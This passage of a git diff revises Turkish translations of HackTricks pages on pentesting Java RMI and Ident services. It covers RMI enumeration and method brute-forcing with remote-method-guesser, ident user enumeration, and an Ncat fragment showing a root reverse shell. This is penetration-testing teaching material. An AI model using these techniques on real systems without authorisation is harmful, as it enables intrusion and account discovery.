grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index b3785f637..a21970d03 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Temel Bilgiler -_Java Uzak Yöntem Çağrısı_ veya _Java RMI_, bir _Java sanal makinesi_ üzerinde bulunan bir nesnenin başka bir _Java sanal makinesi_ üzerinde bulunan bir nesne üzerinde yöntem çağırmasına izin veren nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir giriş [bu blackhat konuşmasında](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir. +_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir nesne odaklı _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına izin verir. Bu, geliştiricilere nesne odaklı bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir. **Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` -Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) yaygın portlara bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır. +Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır. -_nmap_, bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Yaygın bir _RMI_ portunda bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmanız gerekmektedir. +_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız. ## RMI Bileşenleri -Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağ üzerinde kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit gibi görünse de, _Java RMI_ tarafından çözülmesi gereken birkaç zorluk vardır: +Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır: -1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için istemcilerin hedeflenen nesnenin IP adresini, dinleme portunu, uygulanan sınıfı veya arabirimini ve `ObjID`'yi (hedeflenen nesnenin ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Birden fazla nesnenin aynı _TCP_ portunda dinlemesine izin verir) bilmeleri gerekir. -2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar tahsis edebilir. _Java sanal makinesi_, bu kaynaklardan hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplama işlemine tabi tutulabileceğini takip etmelidir. +1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedeflenen nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir). +2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir. -İlk zorluk, temel olarak _Java RMI_ için bir isimlendirme hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmesine olanak tanır. +İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI kaydı_ tarafından çözülür. _RMI kaydı_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır. -Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme portu, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_'den ilgili _bağlı ismi_ isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Bu nedenle, durum aslında sıradan bir _DNS_ hizmetiyle aynıdır. Aşağıdaki örnek küçük bir örneği göstermektedir: +Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI kaydına_ bağlarlar. _Kayıt_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI kaydından_ ilgili _bağlı ismi_ isteyerek kayıttan bağlantı için gerekli tüm bilgileri alır. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -71,19 +71,19 @@ e.printStackTrace(); } } ``` -Yukarıda bahsedilen zorluklardan ikincisi, _Dağıtılmış Garbage Collector_ (_DGC_) tarafından çözülür. Bu, her bir _RMI uç noktasında_ bulunan ve iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisidir_. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir. +Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir. -Eski _Activation System_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir: +Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir: 1. _RMI Kayıt Defteri_ (`ObjID = 0`) -2. _Activation System_ (`ObjID = 1`) -3. _Dağıtılmış Garbage Collector_ (`ObjID = 2`) +2. _Aktivasyon Sistemi_ (`ObjID = 1`) +3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`) -_Java RMI_'nın varsayılan bileşenleri, eski _Java_ sürümlerinde bir süredir bilinen saldırı vektörleridir ve birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilgi çekicidir, çünkü bilinen sınıfları / arabirimleri uygularlar ve onlarla etkileşim kurmak kolaydır. Bu durum, özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, önceden ilgili yöntem imzasını bilmek gerekmektedir. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur. +_Java RMI_'nın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur. ## RMI Numaralandırma -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), yaygın _RMI güvenlik açıklarını_ otomatik olarak tanımlayabilen bir _Java RMI_ zafiyet tarama aracıdır. Bir _RMI_ uç noktası tespit ettiğinizde, bunu denemelisiniz: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), otomatik olarak yaygın _RMI zayıflıklarını_ tanımlayabilen bir _Java RMI_ zayıflık tarayıcısıdır. Bir _RMI_ uç noktası tanımladığınızda, denemelisiniz: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -Sorgulama eyleminin çıktısı, projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zayıflıkları doğrulamak için denemeler yapmalısınız. +Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı bir şekilde açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız. -_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zayıflıkları tespit etmeye yardımcı olabilir: +_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -156,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` -## Uzak Yöntemleri Bruteforce Etme +## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme -Numaralandırma sırasında herhangi bir zayıflık tespit edilmese bile, mevcut _RMI_ hizmetleri tehlikeli işlevleri ortaya çıkarabilir. Dahası, _RMI_ varsayılan bileşenlere yapılan _RMI_ iletişimi, serileştirme filtreleri tarafından korunurken, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek bu nedenle değerlidir. +Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere koruma sağlasa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir. -Ne yazık ki, _Java RMI_, _uzak nesnelerde_ yöntemleri numaralandırmayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür: +Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür: ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -218,18 +218,18 @@ Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` -Daha fazla bilgi bu makalelerde bulunabilir: +Daha fazla bilgi şu makalelerde bulunabilir: -* [JEP 290'dan sonra Java RMI hizmetlerine saldırma](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) -* [Yöntem Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) +* [JEP 290'dan sonra Java RMI servislerine saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) +* [Metod Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) -Tahmin etmenin yanı sıra, karşılaşılan bir RMI hizmetinin arayüzünü veya hatta uygulamasını arama motorlarında veya _GitHub_ üzerinde de aramalısınız. Burada, "bound name" ve uygulanan sınıf veya arayüzün adı yardımcı olabilir. +Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir. ## Bilinen Arayüzler -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), bilinen RMI hizmetlerinin dahili veritabanında listelenmişse, sınıfları veya arayüzleri `known` olarak işaretler. Bu durumlarda, ilgili RMI hizmeti hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), sınıfları veya arayüzleri, bilinen _RMI servisleri_ veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI servisi_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -299,9 +299,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## Referanslar -* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -## HackTricks Otomatik Komutları +* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. @@ -312,24 +311,24 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 61d82b204..b7c3794f1 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -2,41 +2,41 @@
-AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun. +- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Temel Bilgiler -**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istemciye sorgu yapmasına izin vererek çalışır. +**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır. -Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz kişilere kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceği için azalmıştır. Bu riskleri azaltmak için, şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilir. +Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir. **Varsayılan port:** 113 ``` PORT STATE SERVICE 113/tcp open ident ``` -## **Sorgulama** +## **Sıralama** -### **Manuel - Kullanıcıyı Bul/Servisi Tanımla** +### **Manuel - Kullanıcıyı Al/ Servisi Tanımla** -Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portu üzerinden bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde elde edebilirsiniz: +Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz: ![](<../.gitbook/assets/image (15) (1) (1).png>) @@ -50,7 +50,7 @@ Diğer hatalar: ### Nmap -Varsayılan olarak (`-sC``), nmap her çalışan portun her kullanıcısını tanımlar: +Varsayılan olarak (\`-sC\`\`) nmap, her çalışan portun her kullanıcısını tanımlayacaktır: ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her bir hedef sistemin TCP bağlantı noktasını dinleyen işlemin sahibini belirlemek için ident servisine (113/TCP) sorgu yapmak için kullanılan basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ hizmetlerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutuyla kurulabilir. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemin her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -113,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all ```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord 